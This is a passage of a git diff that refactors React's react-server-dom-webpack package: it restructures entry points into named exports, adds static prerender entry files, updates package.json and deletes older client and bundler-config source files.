+++ b/packages/react-server-dom-webpack/client.edge.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientEdge';
+export * from './src/client/react-flight-dom-client.edge';
diff --git a/packages/react-server-dom-webpack/client.node.js b/packages/react-server-dom-webpack/client.node.js
index 4f435353a20f..c3ec7662d6e9 100644
--- a/packages/react-server-dom-webpack/client.node.js
+++ b/packages/react-server-dom-webpack/client.node.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientNode';
+export * from './src/client/react-flight-dom-client.node';
diff --git a/packages/react-server-dom-webpack/client.node.unbundled.js b/packages/react-server-dom-webpack/client.node.unbundled.js
deleted file mode 100644
index 4f435353a20f..000000000000
--- a/packages/react-server-dom-webpack/client.node.unbundled.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export * from './src/ReactFlightDOMClientNode';
diff --git a/packages/react-server-dom-webpack/npm/server.browser.js b/packages/react-server-dom-webpack/npm/server.browser.js
index 12fe5da29af0..326cc56b6587 100644
--- a/packages/react-server-dom-webpack/npm/server.browser.js
+++ b/packages/react-server-dom-webpack/npm/server.browser.js
@@ -1,7 +1,17 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-webpack-server.browser.production.js');
+  s = require('./cjs/react-server-dom-webpack-server.browser.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-webpack-server.browser.development.js');
+  s = require('./cjs/react-server-dom-webpack-server.browser.development.js');
 }
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-webpack/npm/server.edge.js b/packages/react-server-dom-webpack/npm/server.edge.js
index ceab7b1ea062..51a58ea7a9e3 100644
--- a/packages/react-server-dom-webpack/npm/server.edge.js
+++ b/packages/react-server-dom-webpack/npm/server.edge.js
@@ -1,7 +1,18 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-webpack-server.edge.production.js');
+  s = require('./cjs/react-server-dom-webpack-server.edge.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-webpack-server.edge.development.js');
+  s = require('./cjs/react-server-dom-webpack-server.edge.development.js');
 }
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-webpack/npm/server.node.js b/packages/react-server-dom-webpack/npm/server.node.js
index 84da8eda2a24..e507f6436346 100644
--- a/packages/react-server-dom-webpack/npm/server.node.js
+++ b/packages/react-server-dom-webpack/npm/server.node.js
@@ -1,7 +1,20 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-webpack-server.node.production.js');
+  s = require('./cjs/react-server-dom-webpack-server.node.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-webpack-server.node.development.js');
+  s = require('./cjs/react-server-dom-webpack-server.node.development.js');
 }
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.renderToPipeableStream = s.renderToPipeableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-webpack/npm/server.node.unbundled.js b/packages/react-server-dom-webpack/npm/server.node.unbundled.js
index 26e6677eed9b..5ecd09924975 100644
--- a/packages/react-server-dom-webpack/npm/server.node.unbundled.js
+++ b/packages/react-server-dom-webpack/npm/server.node.unbundled.js
@@ -1,7 +1,20 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-webpack-server.node.unbundled.production.js');
+  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-webpack-server.node.unbundled.development.js');
+  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.development.js');
 }
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.renderToPipeableStream = s.renderToPipeableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-webpack/npm/static.browser.js b/packages/react-server-dom-webpack/npm/static.browser.js
new file mode 100644
index 000000000000..06218aec3d43
--- /dev/null
+++ b/packages/react-server-dom-webpack/npm/static.browser.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-webpack-server.browser.production.js');
+} else {
+  s = require('./cjs/react-server-dom-webpack-server.browser.development.js');
+}
+
+exports.prerender = s.prerender;
diff --git a/packages/react-server-dom-webpack/npm/static.edge.js b/packages/react-server-dom-webpack/npm/static.edge.js
new file mode 100644
index 000000000000..df9085690aaf
--- /dev/null
+++ b/packages/react-server-dom-webpack/npm/static.edge.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-webpack-server.edge.production.js');
+} else {
+  s = require('./cjs/react-server-dom-webpack-server.edge.development.js');
+}
+
+exports.prerender = s.prerender;
diff --git a/packages/react-server-dom-webpack/npm/static.js b/packages/react-server-dom-webpack/npm/static.js
new file mode 100644
index 000000000000..13a632e64117
--- /dev/null
+++ b/packages/react-server-dom-webpack/npm/static.js
@@ -0,0 +1,6 @@
+'use strict';
+
+throw new Error(
+  'The React Server Writer cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.'
+);
diff --git a/packages/react-server-dom-webpack/npm/static.node.js b/packages/react-server-dom-webpack/npm/static.node.js
new file mode 100644
index 000000000000..2f649d1fc514
--- /dev/null
+++ b/packages/react-server-dom-webpack/npm/static.node.js
@@ -0,0 +1,11 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-webpack-server.node.production.js');
+} else {
+  s = require('./cjs/react-server-dom-webpack-server.node.development.js');
+}
+
+exports.prerender = s.prerender;
+exports.prerenderToNodeStream = s.prerenderToNodeStream;
diff --git a/packages/react-server-dom-webpack/npm/static.node.unbundled.js b/packages/react-server-dom-webpack/npm/static.node.unbundled.js
new file mode 100644
index 000000000000..850886dcd9e7
--- /dev/null
+++ b/packages/react-server-dom-webpack/npm/static.node.unbundled.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.production.js');
+} else {
+  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.development.js');
+}
+
+exports.prerenderToNodeStream = s.prerenderToNodeStream;
diff --git a/packages/react-server-dom-webpack/package.json b/packages/react-server-dom-webpack/package.json
index b8e2ccf92e3e..672212027211 100644
--- a/packages/react-server-dom-webpack/package.json
+++ b/packages/react-server-dom-webpack/package.json
@@ -1,7 +1,7 @@
 {
   "name": "react-server-dom-webpack",
   "description": "React Server Components bindings for DOM using Webpack. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "keywords": [
     "react"
   ],
@@ -17,12 +17,14 @@
     "client.browser.js",
     "client.edge.js",
     "client.node.js",
-    "client.node.unbundled.js",
     "server.js",
     "server.browser.js",
     "server.edge.js",
     "server.node.js",
-    "server.node.unbundled.js",
+    "static.js",
+    "static.browser.js",
+    "static.edge.js",
+    "static.node.js",
     "node-register.js",
     "cjs/",
     "esm/"
@@ -34,10 +36,7 @@
       "workerd": "./client.edge.js",
       "deno": "./client.edge.js",
       "worker": "./client.edge.js",
-      "node": {
-        "webpack": "./client.node.js",
-        "default": "./client.node.unbundled.js"
-      },
+      "node": "./client.node.js",
       "edge-light": "./client.edge.js",
       "browser": "./client.browser.js",
       "default": "./client.browser.js"
@@ -45,15 +44,11 @@
     "./client.browser": "./client.browser.js",
     "./client.edge": "./client.edge.js",
     "./client.node": "./client.node.js",
-    "./client.node.unbundled": "./client.node.unbundled.js",
     "./server": {
       "react-server": {
         "workerd": "./server.edge.js",
         "deno": "./server.browser.js",
-        "node": {
-          "webpack": "./server.node.js",
-          "default": "./server.node.unbundled.js"
-        },
+        "node": "./server.node.js",
         "edge-light": "./server.edge.js",
         "browser": "./server.browser.js"
       },
@@ -62,7 +57,19 @@
     "./server.browser": "./server.browser.js",
     "./server.edge": "./server.edge.js",
     "./server.node": "./server.node.js",
-    "./server.node.unbundled": "./server.node.unbundled.js",
+    "./static": {
+      "react-server": {
+        "workerd": "./static.edge.js",
+        "deno": "./static.browser.js",
+        "node": "./static.node.js",
+        "edge-light": "./static.edge.js",
+        "browser": "./static.browser.js"
+      },
+      "default": "./static.js"
+    },
+    "./static.browser": "./static.browser.js",
+    "./static.edge": "./static.edge.js",
+    "./static.node": "./static.node.js",
     "./node-loader": "./esm/react-server-dom-webpack-node-loader.production.js",
     "./node-register": "./node-register.js",
     "./src/*": "./src/*.js",
@@ -70,20 +77,21 @@
   },
   "main": "index.js",
   "repository": {
-    "type" : "git",
-    "url" : "https://github.com/facebook/react.git",
+    "type": "git",
+    "url": "https://github.com/facebook/react.git",
     "directory": "packages/react-server-dom-webpack"
   },
   "engines": {
     "node": ">=0.10.0"
   },
   "peerDependencies": {
-    "react": "^19.0.0",
-    "react-dom": "^19.0.0",
+    "react": "^19.3.0",
+    "react-dom": "^19.3.0",
     "webpack": "^5.59.0"
   },
   "dependencies": {
     "acorn-loose": "^8.3.0",
-    "neo-async": "^2.6.1"
+    "neo-async": "^2.6.1",
+    "webpack-sources": "^3.2.0"
   }
 }
diff --git a/packages/react-server-dom-webpack/server.browser.js b/packages/react-server-dom-webpack/server.browser.js
index 41a9fb5c4496..46f5b906104b 100644
--- a/packages/react-server-dom-webpack/server.browser.js
+++ b/packages/react-server-dom-webpack/server.browser.js
@@ -7,4 +7,13 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMServerBrowser';
+export {
+  renderToReadableStream,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.browser';
diff --git a/packages/react-server-dom-webpack/server.edge.js b/packages/react-server-dom-webpack/server.edge.js
index 98f975cb4706..8f0347cd7b5a 100644
--- a/packages/react-server-dom-webpack/server.edge.js
+++ b/packages/react-server-dom-webpack/server.edge.js
@@ -7,4 +7,14 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMServerEdge';
+export {
+  renderToReadableStream,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.edge';
diff --git a/packages/react-server-dom-webpack/server.node.js b/packages/react-server-dom-webpack/server.node.js
index 7726b9bb929d..bd00ba7275c1 100644
--- a/packages/react-server-dom-webpack/server.node.js
+++ b/packages/react-server-dom-webpack/server.node.js
@@ -7,4 +7,16 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMServerNode';
+export {
+  renderToPipeableStream,
+  renderToReadableStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-webpack/server.node.unbundled.js b/packages/react-server-dom-webpack/server.node.unbundled.js
deleted file mode 100644
index 7726b9bb929d..000000000000
--- a/packages/react-server-dom-webpack/server.node.unbundled.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export * from './src/ReactFlightDOMServerNode';
diff --git a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerNode.js b/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerNode.js
deleted file mode 100644
index b2bf9b8ae0b5..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerNode.js
+++ /dev/null
@@ -1,162 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {
-  Thenable,
-  FulfilledThenable,
-  RejectedThenable,
-} from 'shared/ReactTypes';
-
-import type {ImportMetadata} from './shared/ReactFlightImportMetadata';
-import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
-
-import {
-  ID,
-  CHUNKS,
-  NAME,
-  isAsyncImport,
-} from './shared/ReactFlightImportMetadata';
-import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';
-
-export type SSRModuleMap = {
-  [clientId: string]: {
-    [clientExportName: string]: ClientReference<any>,
-  },
-};
-
-export type ServerManifest = void;
-
-export type ServerReferenceId = string;
-
-export opaque type ClientReferenceMetadata = ImportMetadata;
-
-// eslint-disable-next-line no-unused-vars
-export opaque type ClientReference<T> = {
-  specifier: string,
-  name: string,
-  async?: boolean,
-};
-
-// The reason this function needs to defined here in this file instead of just
-// being exported directly from the WebpackDestination... file is because the
-// ClientReferenceMetadata is opaque and we can't unwrap it there.
-// This should get inlined and we could also just implement an unwrapping function
-// though that risks it getting used in places it shouldn't be. This is unfortunate
-// but currently it seems to be the best option we have.
-export function prepareDestinationForModule(
-  moduleLoading: ModuleLoading,
-  nonce: ?string,
-  metadata: ClientReferenceMetadata,
-) {
-  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);
-}
-
-export function resolveClientReference<T>(
-  bundlerConfig: SSRModuleMap,
-  metadata: ClientReferenceMetadata,
-): ClientReference<T> {
-  const moduleExports = bundlerConfig[metadata[ID]];
-  let resolvedModuleData = moduleExports[metadata[NAME]];
-  let name;
-  if (resolvedModuleData) {
-    // The potentially aliased name.
-    name = resolvedModuleData.name;
-  } else {
-    // If we don't have this specific name, we might have the full module.
-    resolvedModuleData = moduleExports['*'];
-    if (!resolvedModuleData) {
-      throw new Error(
-        'Could not find the module "' +
-          metadata[ID] +
-          '" in the React SSR Manifest. ' +
-          'This is probably a bug in the React Server Components bundler.',
-      );
-    }
-    name = metadata[NAME];
-  }
-  return {
-    specifier: resolvedModuleData.specifier,
-    name: name,
-    async: isAsyncImport(metadata),
-  };
-}
-
-export function resolveServerReference<T>(
-  bundlerConfig: ServerManifest,
-  id: ServerReferenceId,
-): ClientReference<T> {
-  const idx = id.lastIndexOf('#');
-  const specifier = id.slice(0, idx);
-  const name = id.slice(idx + 1);
-  return {specifier, name};
-}
-
-const asyncModuleCache: Map<string, Thenable<any>> = new Map();
-
-export function preloadModule<T>(
-  metadata: ClientReference<T>,
-): null | Thenable<any> {
-  const existingPromise = asyncModuleCache.get(metadata.specifier);
-  if (existingPromise) {
-    if (existingPromise.status === 'fulfilled') {
-      return null;
-    }
-    return existingPromise;
-  } else {
-    // $FlowFixMe[unsupported-syntax]
-    let modulePromise: Promise<T> = import(metadata.specifier);
-    if (metadata.async) {
-      // If the module is async, it must have been a CJS module.
-      // CJS modules are accessed through the default export in
-      // Node.js so we have to get the default export to get the
-      // full module exports.
-      modulePromise = modulePromise.then(function (value) {
-        return (value: any).default;
-      });
-    }
-    modulePromise.then(
-      value => {
-        const fulfilledThenable: FulfilledThenable<mixed> =
-          (modulePromise: any);
-        fulfilledThenable.status = 'fulfilled';
-        fulfilledThenable.value = value;
-      },
-      reason => {
-        const rejectedThenable: RejectedThenable<mixed> = (modulePromise: any);
-        rejectedThenable.status = 'rejected';
-        rejectedThenable.reason = reason;
-      },
-    );
-    asyncModuleCache.set(metadata.specifier, modulePromise);
-    return modulePromise;
-  }
-}
-
-export function requireModule<T>(metadata: ClientReference<T>): T {
-  let moduleExports;
-  // We assume that preloadModule has been called before, which
-  // should have added something to the module cache.
-  const promise: any = asyncModuleCache.get(metadata.specifier);
-  if (promise.status === 'fulfilled') {
-    moduleExports = promise.value;
-  } else {
-    throw promise.reason;
-  }
-  if (metadata.name === '*') {
-    // This is a placeholder value that represents that the caller imported this
-    // as a CommonJS module as is.
-    return moduleExports;
-  }
-  if (metadata.name === '') {
-    // This is a placeholder value that represents that the caller accessed the
-    // default property of this if it was an ESM interop module.
-    return moduleExports.default;
-  }
-  return moduleExports[metadata.name];
-}
diff --git a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackBrowser.js b/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackBrowser.js
deleted file mode 100644
index 48779fb1e65e..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackBrowser.js
+++ /dev/null
@@ -1,28 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-const chunkMap: Map<string, string> = new Map();
-
-/**
- * We patch the chunk filename function in webpack to insert our own resolution
- * of chunks that come from Flight and may not be known to the webpack runtime
- */
-const webpackGetChunkFilename = __webpack_require__.u;
-__webpack_require__.u = function (chunkId: string) {
-  const flightChunk = chunkMap.get(chunkId);
-  if (flightChunk !== undefined) {
-    return flightChunk;
-  }
-  return webpackGetChunkFilename(chunkId);
-};
-
-export function loadChunk(chunkId: string, filename: string): Promise<mixed> {
-  chunkMap.set(chunkId, filename);
-  return __webpack_chunk_load__(chunkId);
-}
diff --git a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackServer.js b/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackServer.js
deleted file mode 100644
index 8eeb39a24a3e..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackServer.js
+++ /dev/null
@@ -1,12 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export function loadChunk(chunkId: string, filename: string): Promise<mixed> {
-  return __webpack_chunk_load__(chunkId);
-}
diff --git a/packages/react-server-dom-webpack/src/ReactFlightDOMClientBrowser.js b/packages/react-server-dom-webpack/src/ReactFlightDOMClientBrowser.js
deleted file mode 100644
index 1aac84fde677..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightDOMClientBrowser.js
+++ /dev/null
@@ -1,138 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable} from 'shared/ReactTypes.js';
-
-import type {
-  Response as FlightResponse,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {
-  processReply,
-  createServerReference,
-} from 'react-client/src/ReactFlightReplyClient';
-
-import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-type CallServerCallback = <A, T>(string, args: A) => Promise<T>;
-
-export type Options = {
-  callServer?: CallServerCallback,
-  temporaryReferences?: TemporaryReferenceSet,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createResponseFromOptions(options: void | Options) {
-  return createResponse(
-    null,
-    null,
-    options && options.callServer ? options.callServer : undefined,
-    undefined, // encodeFormAction
-    undefined, // nonce
-    options && options.temporaryReferences
-      ? options.temporaryReferences
-      : undefined,
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-}
-
-function startReadingFromStream(
-  response: FlightResponse,
-  stream: ReadableStream,
-): void {
-  const reader = stream.getReader();
-  function progress({
-    done,
-    value,
-  }: {
-    done: boolean,
-    value: ?any,
-    ...
-  }): void | Promise<void> {
-    if (done) {
-      close(response);
-      return;
-    }
-    const buffer: Uint8Array = (value: any);
-    processBinaryChunk(response, buffer);
-    return reader.read().then(progress).catch(error);
-  }
-  function error(e: any) {
-    reportGlobalError(response, e);
-  }
-  reader.read().then(progress).catch(error);
-}
-
-function createFromReadableStream<T>(
-  stream: ReadableStream,
-  options?: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  startReadingFromStream(response, stream);
-  return getRoot(response);
-}
-
-function createFromFetch<T>(
-  promiseForResponse: Promise<Response>,
-  options?: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  promiseForResponse.then(
-    function (r) {
-      startReadingFromStream(response, (r.body: any));
-    },
-    function (e) {
-      reportGlobalError(response, e);
-    },
-  );
-  return getRoot(response);
-}
-
-function encodeReply(
-  value: ReactServerValue,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Promise<
-  string | URLSearchParams | FormData,
-> /* We don't use URLSearchParams yet but maybe */ {
-  return new Promise((resolve, reject) => {
-    processReply(
-      value,
-      '',
-      options && options.temporaryReferences
-        ? options.temporaryReferences
-        : undefined,
-      resolve,
-      reject,
-    );
-  });
-}
-
-export {
-  createFromFetch,
-  createFromReadableStream,
-  encodeReply,
-  createServerReference,
-};
diff --git a/packages/react-server-dom-webpack/src/ReactFlightDOMClientEdge.js b/packages/react-server-dom-webpack/src/ReactFlightDOMClientEdge.js
deleted file mode 100644
index c6336f7e4210..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightDOMClientEdge.js
+++ /dev/null
@@ -1,163 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
-
-import type {
-  Response as FlightResponse,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
-
-import type {
-  SSRModuleMap,
-  ModuleLoading,
-} from 'react-client/src/ReactFlightClientConfig';
-
-type SSRManifest = {
-  moduleMap: SSRModuleMap,
-  moduleLoading: ModuleLoading,
-};
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {
-  processReply,
-  createServerReference as createServerReferenceImpl,
-} from 'react-client/src/ReactFlightReplyClient';
-
-import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-function noServerCall() {
-  throw new Error(
-    'Server Functions cannot be called during initial render. ' +
-      'This would create a fetch waterfall. Try to use a Server Component ' +
-      'to pass data to Client Components instead.',
-  );
-}
-
-export function createServerReference<A: Iterable<any>, T>(
-  id: any,
-  callServer: any,
-): (...A) => Promise<T> {
-  return createServerReferenceImpl(id, noServerCall);
-}
-
-type EncodeFormActionCallback = <A>(
-  id: any,
-  args: Promise<A>,
-) => ReactCustomFormAction;
-
-export type Options = {
-  ssrManifest: SSRManifest,
-  nonce?: string,
-  encodeFormAction?: EncodeFormActionCallback,
-  temporaryReferences?: TemporaryReferenceSet,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createResponseFromOptions(options: Options) {
-  return createResponse(
-    options.ssrManifest.moduleMap,
-    options.ssrManifest.moduleLoading,
-    noServerCall,
-    options.encodeFormAction,
-    typeof options.nonce === 'string' ? options.nonce : undefined,
-    options && options.temporaryReferences
-      ? options.temporaryReferences
-      : undefined,
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-}
-
-function startReadingFromStream(
-  response: FlightResponse,
-  stream: ReadableStream,
-): void {
-  const reader = stream.getReader();
-  function progress({
-    done,
-    value,
-  }: {
-    done: boolean,
-    value: ?any,
-    ...
-  }): void | Promise<void> {
-    if (done) {
-      close(response);
-      return;
-    }
-    const buffer: Uint8Array = (value: any);
-    processBinaryChunk(response, buffer);
-    return reader.read().then(progress).catch(error);
-  }
-  function error(e: any) {
-    reportGlobalError(response, e);
-  }
-  reader.read().then(progress).catch(error);
-}
-
-function createFromReadableStream<T>(
-  stream: ReadableStream,
-  options: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  startReadingFromStream(response, stream);
-  return getRoot(response);
-}
-
-function createFromFetch<T>(
-  promiseForResponse: Promise<Response>,
-  options: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  promiseForResponse.then(
-    function (r) {
-      startReadingFromStream(response, (r.body: any));
-    },
-    function (e) {
-      reportGlobalError(response, e);
-    },
-  );
-  return getRoot(response);
-}
-
-function encodeReply(
-  value: ReactServerValue,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Promise<
-  string | URLSearchParams | FormData,
-> /* We don't use URLSearchParams yet but maybe */ {
-  return new Promise((resolve, reject) => {
-    processReply(
-      value,
-      '',
-      options && options.temporaryReferences
-        ? options.temporaryReferences
-        : undefined,
-      resolve,
-      reject,
-    );
-  });
-}
-
-export {createFromFetch, createFromReadableStream, encodeReply};
diff --git a/packages/react-server-dom-webpack/src/ReactFlightDOMClientNode.js b/packages/react-server-dom-webpack/src/ReactFlightDOMClientNode.js
deleted file mode 100644
index d0fb59c51e8b..000000000000
--- a/packages/react-server-dom-webpack/src/ReactFlightDOMClientNode.js
+++ /dev/null
@@ -1,91 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
-
-import type {
-  Response,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {
-  SSRModuleMap,
-  ModuleLoading,
-} from 'react-client/src/ReactFlightClientConfig';
-
-type SSRManifest = {
-  moduleMap: SSRModuleMap,
-  moduleLoading: ModuleLoading,
-};
-
-import type {Readable} from 'stream';
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {createServerReference as createServerReferenceImpl} from 'react-client/src/ReactFlightReplyClient';
-
-function noServerCall() {
-  throw new Error(
-    'Server Functions cannot be called during initial render. ' +
-      'This would create a fetch waterfall. Try to use a Server Component ' +
-      'to pass data to Client Components instead.',
-  );
-}
-
-export function createServerReference<A: Iterable<any>, T>(
-  id: any,
-  callServer: any,
-): (...A) => Promise<T> {
-  return createServerReferenceImpl(id, noServerCall);
-}
-
-type EncodeFormActionCallback = <A>(
-  id: any,
-  args: Promise<A>,
-) => ReactCustomFormAction;
-
-export type Options = {
-  nonce?: string,
-  encodeFormAction?: EncodeFormActionCallback,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createFromNodeStream<T>(
-  stream: Readable,
-  ssrManifest: SSRManifest,
-  options?: Options,
-): Thenable<T> {
-  const response: Response = createResponse(
-    ssrManifest.moduleMap,
-    ssrManifest.moduleLoading,
-    noServerCall,
-    options ? options.encodeFormAction : undefined,
-    options && typeof options.nonce === 'string' ? options.nonce : undefined,
-    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-  stream.on('data', chunk => {
-    processBinaryChunk(response, chunk);
-  });
-  stream.on('error', error => {
-    reportGlobalError(response, error);
-  });
-  stream.on('end', () => close(response));
-  return getRoot(response);
-}
-
-export {createFromNodeStream};
diff --git a/packages/react-server-dom-webpack/src/ReactFlightDOMServerBrowser.js b/packages/react-server-dom-webpack/src/ReactFlightDOMServerBrowser.js
deleted file mode 100644
index e446778a71f6..000000000000
